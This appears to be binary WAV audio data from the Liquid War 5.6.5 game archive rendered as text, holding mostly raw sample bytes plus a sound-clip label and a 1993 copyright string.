zzz{yy}||~}|{{~}|}~~}{yzz{}}|||y}}}}{yyy{|yvvw{~~~~zxv{~~wtxy|||~~~~}{yxuuy{~}~xsropu{~yvy{~yxustxwvxwuvvuuwy{~~{xvwz}~~}}|{yyz~}|zxuttv|~}{yzz{|yzxuwvv{{|~|~|{|||{zzzz~~|z{{}{}}{{xvuttvx{~~~~~}}~zv|zuwy|~}~{wxy{|~~~}}~|yz}~}|yxxxzz|{{qnsts{}uw{xmowtzy}xszyw}vxpmuwwyyw~~zx{z~~|~zvrnpqu{{~xtsruyz~~{z{xzxxz|{}zvwxvvxuw|y{}}~}{|{|}}~xuz|}}wstvwz~yuw|yrmmrz~toqx~rjhjpy~vnhhjp|{x{{yplmrx}~zzywwvw{~~zwuvxz~}zz|~|zxz~zvrqptw~~vspsz~|yxwtruy~|xspruz|yxy|~xtvvz}vttu{~{uwsywzupoprxyxu||zxtqptwy}~}}{trqrv|~~~|{zx{}|}}}~||{xvtuvxz}~~zz|~~xttwz~|zy{~|zvvwy{~~|~~~}z{xwvww{|uxrnv~vqsy~~}|{xvuw}wpnnooqw}xnmpqqx~uf]aflr~~wurqrz|{zvruxvy{{{z{|uoptu{~xuwz}}wvutvyzzyz}~|{{{}~~{y|{|{xvvwz}|xz~{xwvsrvy{ywv|~|zwvuvwy~|zwx}zvutxzzz{}}~~{yz{}~}{yxwtsvwz{z{|~~~~~yvxy|}|}~~|zxux|}{wzxy|~|zwwx|}~||{||~~~|xtrpllqu}~zxz{ofa`dgkruxxwvvwz{~zvsonosywrlkmrz}{{}~{yusuw{yxvsuyz~yuspqvzzzxy~~~y{}{~|vsrsuvyz}|~~{yxvwuvzzyy{}}xuwy~{wywxvzwwtrpmmoquz|{{~zvuvy~{sjeehmrz}zyyy{~}ytrx~xsomknvy|wsqqswy~}}~~{xwtrux}{xvvvwy|~~yrpmlluyz~~wmeddhxvokjq{zoklqw}|~~xrmkmuzuoqrz}yyyy~{xwxz}}yqllox{rpow}|}|}~~~~ysuvwz~{xuswy}|}}}zyvvy|~{zz|~~||{|~|||}~{yvvx}||z}~|yxy}~~{vuvy|vrsw~ysqrty~}|yxyy|}}}}~~~}{xyzz~}{||z{|~}||{|}}~~}{|||~{zyxwxxy}~zz|~}zuqqruwz~~}|~}~zwwvx{~|zxxy{|}~}~~~}|}|~~}{yyz||{}~}|~|zwwwy{|yxz~~yxwwy}~}||||~~}||||}{{z|~~{|{{{{}}zyy{}~~|{{zz{z{z{{{|~~~~}}~~~~~|{{||}}}}|}}}}|{|{|}~|||}|}|{zz{{}}}{zyyzz|~~}~~|||{{{|~}}|{zzyzz{{{{~}||}|~~|||{{|}}}{|}~~|zz}~~~|~}||zz|}}~~}||~~}}{{z{~|zzz|~~||{|{|}}~}|}~~||z|}~||}|}~~~}}~~~~}||}~~~~}~~~~{vroorw}}yutvz{vqqqruz|~~}{zyz}|xvtsuw{~}{yyyz{||{xuvwx|~{ywwx{~~{yyxz{}{{zz|{~}{{z|}~}|{zzzz{|~}|zyz|}}~vplpuzznc^agvuia`eo||skhhmt{|upmosx|rlghmt~~wsqqu|}zxuuwxyz}~}{yyy{~}}}~~|{zyz|~{wuux}zursuz~zxxz|~~}}}{zz{}}xutux}|{yz|~~{{~z~zxvy{~}zurrqv}~{z{{~~}}{z{}}~}}{z|~}||}}}|z|~~{{zxz}~zyy{~|zwwz{~~}||||~|{zz{}|{{|}~}{yvxyz}}{{|~~}|{|}~}}}~~}|}}||{|}}}~~~|{xz|}{{{zz{|~zxwxy{~~|zyyz}~~|||}||}~~|{zyz{||}}||}~~~~}}~~~}}|{z{}}~~~}}}~}|}|}~|{||}}~}}|}~}}|{zyz|}~~~~~~~~~}}|}~~~}}||~~}{z{|~~|{{{|}~~~}|}~}}||}}~|{{zz|~~|{{|~~}~~}|||||{zyyz}~||}~|{zzyxy|}~}{z{{|}|||||||}~}}{z{zz{|}~~~}~}}|{zyz|}~}}}|{|}|{|{|~}||}~}}~~}||{|}~~~~~}}|}|}~}|}~~}~~}|}~~~}}~}~~}}|{{|~~~}|||~}}~}|}|}}~~~~~}~~}|}~}~}}||}}~~~}|{{}}~~~}~~~~~}~~~}}~}~~~~~~~~~~}}|}|||}~~}}|}~~}}~~}|}|}~~~}||{z{}~}~}}~~~~~~}{{|||~~}}~~~}|}|}~}~~}~}~~~~~}}~}{{z{|}}~~~~~}}~}|}|{}}~~~~~~~~~}~}~~}}||}~}}}~}~~~~~~~~~}~~~}}}~~~~~}|{{{z}~~~~|{||}~~}~}|}|}~~~}~~}~~~~~~~||{|~}}||{|~~~}|{{||}}~~~}}|{{|{|}~~~~~~~}|}~~}}~}~~~~~~}~}|}}~~~}~}~~}~~~~~~~}||}|}|}|{||}~}~~~}||{z{|{|}}}~~}}~}}||{|}~~{yy{~~{yxx{}~}}|yxwy}}|}~~}{{zxwwvwyz|}~~}z{}~~|zzyz{|}~~}zxxxz{|~~~~|{zz{|}~~}||{|}}~}zxwwyz{}~}{{}|yvtstwz}}zyy{~~}}~{xwvxy}~zz{}}zwvwx{|~~~~~{xwwxy|~~~}|{|{|}}|}~~}}~~~}|{|{{||}~~~}|}|}~}~~~~}~~~}}~}~~}~}~~~||{|}~||{{|}~~~~}|{|{|}~}|{|}~~}|}|}|}~~~~~~~||{{}}~}{}}}~}~}~~}}|{{{{|{|}~}~}}~~~}~~~~~~~~~~}~}~~}}}{}{{}|~~~~~}|}|{||}}}~}~}}}|}}~~~~~~}}~}~~~|{|{|}~~~}}~}~~~~~~~~~~}~}~~~}}}}~~}~}}~}|}}~~~~~~~~~~~~}}}~~}}}|{|}}~}~}~}~~}~}}}|}|}~~~~}~~~~}~~~}|}|}|}~}}||}||}~~~}}~~~~~|~~}||{z{{|||}|}}}~~~}|}~}~~~~~}|{{|}}~~~}}|}}}~}}~~~~}~}|}}~~~}~}~}}~}~~~~~~~~~~~~~~~}~}}~}~~~~}}~}~}~~~~~~~~~~~~~~~~~~}~~~~~~~~~~~~~~~~~~~~~~~~~}~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}~~}~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}~}~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~DISPl( """"""""""""""""""""""""""wwqwwqwwqwpqfafawwqfafawwqwwqfafawwqfafawwqwwwwwwwwwwwwwwfawwwwww~fawwww~wwwwfawwwwfaw~wwwqwww~興ww~興www興wDISPWash hands in sinkLISThINFOISBJ\Around the House 1993 Interactive Publishing Corporation. All rights reserved.liquidwar-5.6.5/data/water/amb4.wav0000664000372000037200000015521013407756104016542 0ustar travistravisRIFFWAVEfmt ++dataU~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}}~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}~~}|}}|}~}~}~}~}~~~~~}~}~}~}~}~~~~}~}~}~~~~~~~~~~}~}~}~}~}|}~~}|}}|}|{{|}||}~}~}~~}~}~}~~~~}~}~}}~}~}~~~~}~}~}~~~~~~~}~}~}~~}}~~}}~~}~}|}||}|}~}~}}~~}|}~~}~~~~}~~~}|}|}|{|{|{|}|}}~~~~~~~~~~}~}~}~}~}}|{{z{z{|{|{|}|}}~~~~}||}~}~~~}}~}~~~~~~}~}|{|{zzyyzyzyzyz{z{z{||}|}~}~}~~~}||}|{|}}~~~}~~~}}|{{z{z{z{|}~~~}~}|{||}~~~~~}}|}}||{zzz{z{||}~~~}||}~}~}~~}}||{z{z{z{zyz{|}}|}||{{|{|}~~~}|{yxyxyxwxwxyxyxyzyzzyz{|{{|{|}~~~~}|}|}}~~~~||}|}|}|{||{|{z{z{||{zzzzyxyyzyyxwxyxyxyz{{}~~~~}|}~~~}|{z{zyzyyxwxwxz{|~~}|zyxwxyzzyzyxxy{|}~~}~}~~~~}}~~~~}||{||}}~~}}|{z{zyyzyxwvwvwwxyyz{|}|}~}||{z{zywvututtuxz{~~}|{z{zyzzyz{z{{z{zz{|}~~~}|}|}|}~}|}||{z{z{|{z{||{|{zxwxwxyzzyz{z{zz{|}}~~~}}|||{|{|{|}~}}~|{{z{{zyz{|}~~}|{zyyzyxyzyyzz{z{z{|~~~~}}|}~}~}~~~~}}~}}|{|{|{|{{zz{|{zyxyyxyxyxyzyyyxyz{z{||}~~}}|yxxyxxwwxwxyzzyz{|}~}~~}|}~~}|{|{|{|{zyxyxyxwvwvuuvwvwxwxyxyz{|}~~}}~~}}||zzyxyxy{||}}~~}|}~}~}~~}zzyxxwwxyz|}~~}|}|}~}}~}||}~}||}~}~~~~~~}~~}~~~~}~~}~~~~|{yyzyzzyyz{zyzz{{|}|}|{zyz|}~}||{z{{z{zyyz{z{}~~}|{{}~|zzz{{|}|}}|}~}}~~}{z{|}}|{|{|}}~~~|{yvx}}wtxxustuutstvwy|~}}~|yyxwvtsrqonnoprstuwwxyz{|}~~}|{xutqpopqrsstuvyz{{{{z{|}|}~~}~~~~~}{zzyyxyxyzzyz{|}}~~{z{{|~}|{z{|}}|{zxwwxyxyxyxyxyzyzyz{{|}~}}~~~}|{z{|{|~~}~~~~}}||}}~}}||}~~~~}zyvvwvvwwxwxyxyxxwwxwwwvwvvwwxy|}|}{zz{}~~}~~}|yxwvwvwxxyz{|{{zyyzzyz{z{{||{{zzyxxyzyz}~~~yvusponnmmnnorsstuvuuvwvwvvuttsrsvwvuuwz{|{|}{xuuwz{z{}~}~~{yxxwvttuvurqponmlloqqpopqpqstuvy|}{||}|zywx|~~{{||zvtsrqqstuuuvwxxyzz{|}}|}~}~~{zwtsrststtstuxyy{|~~zxwwxy|~~}{{zyyz}~~}{xwtoligghkmnopqpqtvy|}}~}{z|}}~~~{wutsrruwz}|yxxwvutuvvwz{|~~}~z}}||xuuxzxspqolhfhljginppnooruutrrroljiikouy|}}}|yyz{{zyvx{~}vnjjkjkjiijkklmmlmnoqpnnpu|}ywtrqrsvwxy|~}~}~~{xutsqnmkhdfjkjijkklkijmrvy}~||}}~~}~{}~~|{yussttrnpqolnrrptz~}||~|}}{{zz{}~~}{{zyy{|{yxyxvvwwuuwz}~}zwutspopsuttstwxxwxwuvwxzz|}||{{|~~~}|}}||{zxwwxyyxxz{|~~~}||}~~}}~~~|yvspnmmljgfjmruwz|}~~{xz{xwvurqooqrrstuvvwwxyz{}|zyxuqnnooqstutrpnkihijkloqrstutuxyz{}~~}~}zz|~}zyvtssuvwz}~}{xutuutuvwyyz{zxwx{~~~~|{{zwsqrrqpqssrokhggfedcbcfilnsvz|~~~~~|{zzywvvwxxxyzyz}~}|}~}~}|zwtqqsuvwz}~{z||yyzyxz}~~}~}~~~{y{}{xwvutuwxxwwwx{}}{{~}zz{zyz{{zyyzz|~~zwvvupnnqstutroorstsrrrrtuvutsponmlnoorux{|~}|yvutqnmljigffdaabcbbdfghhggfgjmprststutuvwz}~{xvvustwyvttvyz{yvtstwz~|zyxwxyz{zwvuuvuspsz~~{xupllmmkjiikntyywvuw{~~~}{{||zxxz}~~|{|}}~zyvsqrstuvy{||{{}~}}|z{{}~ytqnieca^]\]^`dgilorw|~}}}}~~{wvutuw|~}zyyz|{xwyzyxz~|xvuronoruxyzzyxutttuxyz~~}|||zywtssrnhda```a`afkmmopqrtw|~~|siep|zzztpkhghknnmjifb`aeijmpqrqrqruz|{|{|}}}{yzzwtsroomjijkjhfinpqswz|}~||~}~zxyxwwyz{||{zxurqppswy|}{xuqqrqolklorrqruvwvuvusqpnnptwz{~zvurnmqtsstsqqqplihhgimppmkjjlmnosuvwxxz~~~|xvutuvy{|~}~{trstvy|}~~~{z{}|||z{|{xuqnga^[WWXYYZ\]]_abcbcdefghknrw|xsonkkmoppqqnigfedbbaabbfilopqsttsrpmllnqsstwx{~}{{}|yy~~~|yvrolfb`bejlmlkiilnpquz~~}ytrruutqppruwwtsrppruwxwxz}~{zwvwvuspomliheefebabdhklotz||~~}zxutrqppstsrvyzzz|}}~~|||ywtplhd_\\]^abehiidcglrv{}{zyyz{{}~{xwxyyxwxy|}yvsqpopqqpmkjhededeffggeddfjmpsy}}|{yxvsrpolihhikkhgghijkmmjjlnopruvy{{z{{zz|}||{{{zzyz}|xutssrtwz~~~~}||{{}|}~}|{zyyzz{||zyzxtrsvwvwy}|xxz{ywwxyxy|~|~ywwvssvxyyyz}~~}~~{zwuurqolieegknonosuvusssu||wtqlfa^]\\_ciqw{{vrpponopstsstutqmkjhedefhijlnpqpnkiklosuxyz|}zzywurqoopqrrsuvyz}}zz{zwuutsrsux{~~{xvussuvuutqpoptz~~~~|~~|}{wuxyvspnnqrtuvxwvx|}zyvsrqpnkjklkkmtxz}}zyxy{~~~||{|}~{yxvrmklmkikpux|~}|yuttuwz{z||{yutvz|}~~}|yuutqnmmnrtsqnlmoonoqusmgeedeksy}|xutstuw{~{yxyxwxy|~}~}}~|wtrtwxy}|zz}yvqkhhiiknpqtxzz|yrnlkllnquwxyzzyz{{|}~}}}|{xupmjgdccdgjnswxwuvvutsrvxyz{}~}{xvwvttvwvtsssw}zvsromnprrsutvxxwuronnqrsv{~~||~}}~}||}~}yvurrtuuwxwxxwwz|}~}ytmiggjkjhhkmprvy|~~}zz|}~~}|zyzyvqmlkjgcabccbbcfilnorvy|~~{xwxyyxy{{zz}}{{||{|~~~}ytpoponlkighhkllntz}zrnopomlkjhfghgiklmnnlkmrwz{yxwwvwxxwxz{|}~~~~|wsnjgeefgfhkmrx}~~{xvtvy|}~{zyvttvy{yyzz|}}~|xvsrsttsrsstvy{|~vngaadeefhhfddcbba``bgijmopqsw|~{wtrppqqpoppmmosuvwyyy{~~~~}zyxvsrqolkhb[UNIFEFFGIOV\aejmnqw|{zyzzyywsnkifdccgllkkjlmljhilptvwz{~~||wpkfcbbcfknqolieba^\]]^_cjou|}ywtspoplgb_^^`a_\\\]_chntvvwxwuuttwx{{z{|}|yussuy~|{zwuwzzyy||{zwuqmkjijnpquxy{~}|}|{xtqohccb``accb``abdjorw~||}~~{{}||}{vssuxyz|}|{{zz{}}zxwvvwy}yuronosvvuutstvxyxvvwvvxyxvutqppstw{~zxwvuuvy~~}{vspoqtw|}yy{~~}yy{xxz{z{~|yvvuttssswz~~}~~}zvtw{~}{|zvuspkihggedeffefimopqsx}{uststvwwvx}{wvsrsuxyyxxvuvy}}~}~{vspoqutqpolklkfa_]\YUTSSUXZ[^__`ccbdgifdcdccfgjmrw}{vsqpqttsstspookhe`]]`_]_`achlnmmosvwx{~|{}}||{yy|}~}yvsqnjihijihegloqoliiihjpuxzxuuutsomlmmlkkllkjhghilnoptwxxy{}|xvwxvsrqpomlmnptx{~{vokmpqonmlnrw|~|ywtromortuvxxxz}~|{|{|}}}wrrsniffgfgkotxyzz{|~~~~{zxwwtssx|~}zwutqonopqtux}}wrnnnptuvwwvtrokhfc`^^_bdefiklmpsu{~~~}zywuuwxxy|~~yvspmmnnorrqqrsuy{zyxvvvuspnmljhhmqpprx|xwy||~}|}|yy}~~~}}~}|}~}|zwutronkmnnqstuwx{|{{zwtrrpmllorwwy}~~xtqnkhfb^^_bdfjmllotxy|~|ywvuspoortx{||{zwsstutux{zyvuwz{{z{zwsmkheddehmprsvzzwspnkheddfecdhmptz~|wsrsttrqnnopomlmopqqrrrnjhghiloty|}|vtqoopponlhhjmnmortsqqsttuw{{{|}~}}~}zyxxz{~|wuuqnmllnlhc_afijmpsuz|}|{{{|}{xvvx{~~|}|xqokihjkmquz}~|{|{|~~}|ywttuuvvwurooqrrsuy~yspoprsuy|}wurpqtuvusqqstsqqrrpqtuvuvy{|~}{{||{|zwtsrpoopqtx{~{wurrstvy}~zyxvspmhdbacddegkmnptzzvsrssuxz|||{zzyxvsomjgffghilqstv{~|yusvz|}|{yupmlihfdeecbdghklkllnoprv{~~{zz{zz||{{|{xzzvtqpnmnqrrrsuxzyustwxwx{~|{xsponnorsrqrsux}|{yvusuvutrqpmhc`]YXZ^`bglpruz}{|}|yxxwvsqqqstqpopsspljifbaabfjptx~}}zsomnptwz}~~ywxwtqpmmmlnqvxy|~{zyzzxwxwvwvutuwwuqnkhfhjjlpstwyvrrqpnmnpqtxy|{yz{ywxyxvvxxz}~}||{|}zwvvx}~~~zwttutqlljghpsporx|}}}{vtssttsrpomlkjkloppnnpty|}~~{{zyvtuy}~~}~}}~~}~|{yxxvsssqnkjkkmruwtpmlkjgfecaacgmty|}}|~}}~{xurnjgffceffilqy|wurnljfa]]\VOMQVY_dhlosvz}z{|~~~zuqruyz{yuogdddghedfijkknqpoqsqnmnqppv|~||~}xuuwxurqrpkfdc``bgnsuuqlkopprty|~~}ywvttsrrttqppnmostqprrqppuz||{|{xw{~}}~}zxusuvutvxwtstutux|~}|xqicbcgkkmqqnjilmljloonkhgghjnrtuwwuu{|vqmjhhlou~}xusrrpkaZ[_elruvy{zxy{|}|zz|~{xurpprusoorwz}||~||{yxyxyy{|}}xvslfejorrssv{~~zwwyywvz~}zxwz|ywwyy{~}|{|zwvwyz}~|{xvvy}{urqnifefdcdfknpty~~yvuvtpnnmmptvvwx{}|y{~}zuqnnnlkjihhfcbcdefghiijmnqrtx{~|{~}zwwxxvvwwvtsqrsuuqnkfbabdeffhknsx|}~~zxwtpmkjjklmmllklorvyzy{}zyxwurpqrtuuvvvz{tnjhhiihgddfgjkouz~ytrrttrqnjlprsvz~|xutv{}|ywvwxwvwvsniecbcfhjnt|~}}|{xwuuvuqooonnookfc`_abcdehmsxyz{{z{|{}{wtsrqppprstwxyxxyxwxyxy|}}|{z|}||zyxwurqstwyyz}~}zz{~}{|}|zyz|~}zuqrtrqppoppoonosy~wspolkllkllkiilkhfgkou{|}~}}~}~}zwwz{ysruzzx{~ytojgffegmsux{}~{zyz}}xvy{|~|{|}|{|{{{||{|}}{{||{zyxvw{zwrkbZUUZ\]\\]``_`cioty|~}|yvuux{~~}{|~~wrqpollnooqtw{}~~|zz{~}zyxxwx{|zz~}||{xwupjhgeddhknsvy||{zyxwwy|~}zvusponnnnortuvvvvupmllkikmlkhfdbbdhijjjkmptvx{}|wpkhgeccehkoty|~~zxxyyvtvwxvssrommkjigginopnhc^[\]]]_dgjmpqrstw{}}}{yxwvwz}~|}}|}}|zussrqpqrrqqvz}~}{xwxxwvvttvwwtsuvvwz}~}}zwtroopstusrrprw}~{yyz}{xzzwtqonmkigedbbefiklnqtwz}}{xuqopstx}}yvtqnkjhe`^^bekrux}}zxxwtssvtokgb_^`aa``bbeghjntz~}xsqprroqtvwvutsqnmkiiiggjouy~~ywwxyy{~}xurooqrttrqrtwyxyxvvxzywwxxy|}|xqmmnopsx{~~~{xwutplida__`dimponpux{}~}yuux{|}zxx{|{||{zyz}~~}~}{{|~~|ywxzzyxy}~}~~|~~yvtuwuttsuz}~||}~~{zyxvvutststwxwutuvuutqoljgffhjkkkmnnoonooppnorsrsvx{}zxwuspmlihghihgdb`afijmpux{}{xutsrsrqpppnnpsv{~||}}|zyxwvuttuvupllnopstssrrstuy|}|xsnlllklkjknooqrssuy~}ytqpqpmkkkjjkkjjhffhknonoqrpmkmqstuuw{|~}~}}~|{|{z||zyzxsolhfeec`^]^_cfkquussuwzxxxwtqnnpqqsvx|}zvqnmoppqtwwwyz{zyz}~zwuuvusrrqnmljmrvyz||yxyxusrsrqrtw|~||}}{zywuuvwx{zslggfdfhiknqrrtutuvwvwwvuuvxz|~ywvtstw{zvqonnopstuw{zy{~~|{zz{}}{|~{tppqqoquxwuwz||{xsmifccehlnmnnmnmnmnqstuxyyxx{~~xttsqqponllnqrrqnmnnqstuuuvwwxxwutw{}}~~|yvqoljjlpu|xqmnpqrux}yussrsuy~~||{|~}{z{|~|{xtokheccfghiihggijmoruxzyuqqpqrstuwzzyzzyz|~{z{}{xx{}|}}zz{{|ywwvsrsuxzzywwx{||}~~{yzyxwwvspoosvy|~|{|{|~|ywtsqmjjiheb^\]_bdcdefinqstuuw|~~}}}ysrsrnkjjknquz~}{|~~|yvuvutsttrommnnmnpswx{}{|}~yphda\YXX]dkpuz}|unjijjlot|}}zvurnjjlmopprw~~~~~~{{}~}zyzywtruz}~|~}xutqpqruwxwvrmmoponnlgeflrrppv|{x{|{~~|zxwz~~|{|}~{xurnlnonkikkihikkhfghginsx|~~~{y||{}~}~}}}{wpmmoqokfbcc``ehhimtvwz}zxxwurrstsqstwz|}|{||}~}||}~~~zspprtx|}xusstuuvxxuttvvwxwuuw|~~yvvwy||{{|}~}}{ywvvv{~}{yutturrqrpllorqpmlkhecefhihhmqsuy~||~zwwyz{|{|~~~|~}zwusqnlkjkhdca`begimpuwxywtsvz}|yxwurruywstxztsvwxxwttxz{zwsqqpoomijnpnlnswwwyzxvvxyxwvsmgc__bejppkedlx|zx{}smnzyja[Yctp`VU`qsb[\hyug\Y^l~m`Zarth`^i}~ojpzyvtvqwte]]ixwlim{ykbcmz{l_[`ovmgglxwpqz|qlox~zoiimu~rlp|~z||tnox}xztkd`^``\UQQTZcillkkjknoppnjhjnqonmmpsutu{~||{vrrssrsz|zzyyxyyx|~~zurtspooonljlmjgea_][YY[`hjmsz~~|{yupopqpqptuvx~{{zwxy}||~~wwwx{~~{zxurppssportvtqlihfhlnmjijjikotutsqnida`^[ZZ\]]ZZ^cgijkjlmlkllnoprw~|vqnmoonnpstuvy||xuwz{zwuttvy}}~{vsrssoihjmpruwxxwsmihiihhiiiknswy|}{{xx}}{}}wrnnqtuxyzyyzyyxz}yvvtqpnmlkjilpv}~zustw{~unje`]_bb_^bfijkmoppmjhhgfdbeilorvy|~yvvvx{||{zwvttuxyzzz|~}{{~~~{y{zvvy{|}}zuqsux}xplkifdehgb^\^cfecbcdda_[WZaglswyxvxz|uplijf`[XXYY[^``bfilmmnqtwyz~~vnhb]ZWTOJHJMMMOSUUW[cmswz}~{xwxxx{~ysld^\]`dmx~}~|xutsokikpsuy~ztlihjpuy{ytponkhggedccelopoljheehkpsrppsx}}xw{~yvurqtvy~|uolhfgge`]\[ZYWW[`gifeilmpux|~zupnmlieghe`[Y^hlkjlqx}~}{}}vpoponkjloqw~|wwyzz|}~~{wsrqruvuw||yyz{{xwyyvuy|}|yx}~{xslihhklrxzz{zsjcbb`]\YWVWURPPOPQQTWZ`hqy~vtrqrswz{|}yxyzzunc\Y\bdcdggedc`_^dqx{|}{yz}yusx|yusstuvz|}~~~~{und\Y\^]ZZ[\]]^`chnmklopqssrtz|xsld^\\[\_dghlrwyy}~tkhgggb^_fklnqsttvwupmllquusw~|yzz{~}yy}~yqhb[TNLJD=CJT\cltz}}rhc^XX\_abeiov|}yvrrsttv}~yri]PGCBEJR_o|}re^^k{eUKEDMbwuha`iwl\OIFGGIMNTarż{upmeYNHGHLTcy|mc^^i}vj`YVW\cpl[QNQ_tte`fwq`URZjz}{yngfjotwumcWNHB?>BJWetyj_[[_eqwme^YW[clt|xqpv}xg\VSQSZcjtp^PHDBIXnĹwomlkmszvtwy}~{xx~ytoh`ZZ^gr{~oc]UKEFMX_clrsrrqpqtwx{wruzwtvy|}|xpjkry|urx}{{|zwsqtw}~{}~~~|xurmjgda]ZWURQQPMIHIMTXVSRSTSRTWXXZ^`bdhnv~xutttsrpqrtvxzwrnlie`ZXXYZ]bb_ZWZ`gmpqqvzvoiffeeccfjlkinty{{|~~yxyxy|{xtla[ZXSOLLMSX\agkmpsw}||}}zy|}ytqoida`__^`eihfgjkloqruzzsnlouz~~zz}}|~ztmfa^][X[agnsxxtnjifeedfilmnr|{z}{vpiedeikkjkkf`ZSJDAA@>?CINValqrokf`\[]aehmu}}|uqoqqonpplfcegeehkloqty}}wvy||~}||zvplkjjmsvtrqpnot{}uqolgcbcbceiry{xxz{~|wtonrvuuy~|}}{xxyy|}|zz{}~|xtqlfb`chkmmnnpqorvvtqswz{|~{usrqooruvz|vrqqpqpopswxzzvrrttqoopsvurolkg^VPLJGDDCCEHKNORV\`cejqtutst{|{zxqhdfmrx~vplkptvspkecb`ZRSVZ`eikigikjnw~zvoh`YUTUVUUVWW[`hrz}{{}zz~}wrle_]ZUPPQQRTX]aacglqtyyw|}yzxtmigiloqtwz{wrotxzxtuttrokjmprty}~zxwuruxrnkhfggddec\ZYWWSOORW[^aejnmlquwxz}~}}~{wurniedcddceggfglpnnrx|~}yussx{~~~|xsmijmrxwuvutrrw|xplklmnmiggijloqw~~|}~}~|{{||xtsrpljijlmmou}{xvvy~}wsrsrqpruy~~sjiggiotw|yle`]_eloqtvwwvutvvtokmrttrqppsv{zqjc[VV\`ca_^]ZWUZckmkhfgfd_[]bfggiqwutttqnmoty|{~|vrqoopssrsvz|xvx|~}}}|{yrjdb`][]bcejquusv}}xutu{|{|{xvurporvxwtsrsttrmkieca\WQNJGDA=97448?HS\cjqwxxw{upnh_XWXTK?76@O_q~rg^[]hvna\]^bnpdZVVWVTPNPWcsr^L=51.0;Oe{vld]\]`befb_bipwujkld_gx}wsvzxyvqpprxvqqssrponnt||rjd^ZYXUJ@;;<@JWajqvy{xvrljlnkgjrwtoljkmt|{wnhfiihlswunhgiibTE=8302>NZelrwzvj_]aaZU[fjfhvy}~yss{xv|wqmh`WPOS[cjqw|slgaWLDDM]o{{qfYPLKHBAHU^elswx{}ukfdbaba_[X`lqph_WRPTZ^`bcb``bc_[[`hlnooke`[TNJHLWclz¸ywvurtx~zlkvqVD=BGHC??>:;AC@>>BIR]hptvwy~ø¹}wph_XPE:0&%),4APXY`lrmiily}sijnpmmsvqhejr|ywupf_``]ZXY[]^_dq}}rmmlheegdZROKFBCGJLNPRSSUW]fq~yng^ULLR\ceb_achnqrv|~yvvtg_aehe^]_^^_abgmqzzphiq||wz~~~rhc\TSWWTRQPJ?614AEHKV`ehlsttvy{z{~rmookeegc`fox{ndcimonlpy~zzxtnjf`[XWX[cmpoopoqv~yusux~|xwtmhhjigikifiklr}~}~~}}zog_ZZZ[[_bfkpsqoonouztronnonnoomkou|ztqpqpjb^]^]]clqsx||yz|~}{yxtmhffjptxysnkheeeb]ZXQMLKLRWXVOHHIMOPSUVXVW[]WRTUX[_achp{}usw}}skhf`XROOQTVWX\`abeeda]bjmkf``ccbfhjnsttssw||qgc`\^begjosrrlcaehjms||ysommha_addefmsqjb]XTQOSZ[SKGFN\jv}}}||xtmilu|}{yrnotpbXVZ\^ehffhmqrrtuy~z|}yvrw}~zrqnjgd`^ZUPKE>=<71/.)" %.;?=CP\bflxyrppoptzz~|ungccb_]gtunhntx|~tk`TMPVXZ_cfjqsnhilnoplecdd^WUTSQRV]cd^WSVY[ajqnhfgecgo{zuuwz}{{umid]XUXYZVTUUSPMMQ[fnpmmprvy~|xw~zx||xuqokjlmtz|~vqns|~xsme_[ZXVST[behmqvz}}|~ujaZWTSW\bo~{tk_[[XUQNIFGILKLMQURNPXciqz|xvqnnorvxz}vpigow|}z|{~phikgaab`ZW[^ciu~vokhmuwvx|{wvsj_XQKJLNT]dccdedbgq~}vvurpw{wx{}xvusnllmswz||~xnie`\\`fnu{vqoqv|{sjhpvvrsusnigcZWWXZ]cktrmlkjeabinnkhegimtyxy{xwy}{wqljllkf]VNIHKMNRY]\\dntutpifiotwyyqliefnuywsqrqpnkihhmw|vrrvtlebeiiksyynie^ZYWRRTW`n~~}~{wuu{pdbc^XW^dcdgkosvskfdca`_bgjnty|}}~{uqnicdjot}{y|~xvvrnnpstqnkhdbcdcfkpu|~zvvvxyreXLB==>BJW`dglomjjkoqrtwyxy}wmhiljfdggb\Z^eoz{skjllmrx~zuuwz|ztnmqvywwz~yuwyyy{~~~}~ysnnlfdeinsqkiinuy}vvupiddfimsy}~{yz{{zxwupf_^^`egedeedddcdflppssrnmpv~~{zxspu~~}{{|zrg[QLJKIFFHIIFDHKOUZajqw||spry~yyxungbehgb`cimpqrx}}sg^TIDEC>;=EScp{~·}mc_`aa^^befinsz~yvmc\VRPSTUUW[bmuz}xutvxyxvwx|yuuwywsssrniimqqsw}}vqnkhecfmt}{rkkkhgggfgfgfea\\`b`[YYXUSV[^cku~vqqpnkjmrtx{y{}yuvxvtsrqrqolkry~ywuokknqrtz{vpidbdghiknrqjfkppoopu|}{|~ysrsvy}|{z{{vqkbYURRRPT\cggehlnosy|{~~wqopqqry}xnijkmmlnooqrsspjffkmlnuzqkiimru|{wuqnjaYWVWX\bjqsuy}}|}~|uolqw{}zvurkjkiea\XSOMLKJJLOPQT[agnxxh\SLGEIMPT[diklnory~tnmqsqoppkb^^`ejllkiikorw~}xuwx{}wsquz|}}zxsty{xstz}xuwxupmib`cdglqv|yvy{{~}|xxz~~~}}}zyz}}vpnjc^\YQF>=>BLXZZ\_bb`bghebbfmrrty}}{xqmllpy}|{phfggdbefb\Z[Z\cnv{~~|ywpjd]^_^`a^YWTROHEGLLLS`hqx~{uru}|pnokfeijjjkhcXPNMOUZ\`ceecda^^a`[Y[_bcgjlkjs|vplikqv|{mdemokhmu{~|uj`YPJGHNRTW]diikptx}|vsuyzxvuqokjqx}}wtyywursrpu{re[VVX\adgnux}|meb^YVV[___hwzsptxvolnoqsy}|wrmjgiqz}|~wru~}}}~{}}~zux{lbcaZRPVYVVconebfcXOPZ_ZZ]beflxzyzyy||xqopry~|{zwsmilpv}xrmjhgiprnjjgfhkqoieddcdkryvqqor}|uqmhea[Y]bkw~|{|zst{|vrrsw||upswqf`_`a^Z]ityx~|rnnjfddiliiovy~yqlkljilqqsuqlga]]`ccdiligilqy{xwtpmnqtstw|yw{zqnomheimoj`YY[YVRPKFGMSX_iu{sjdbc`[Z[^ehjp|{tsv}xrpja^ZRKHIE>9:?JW\\`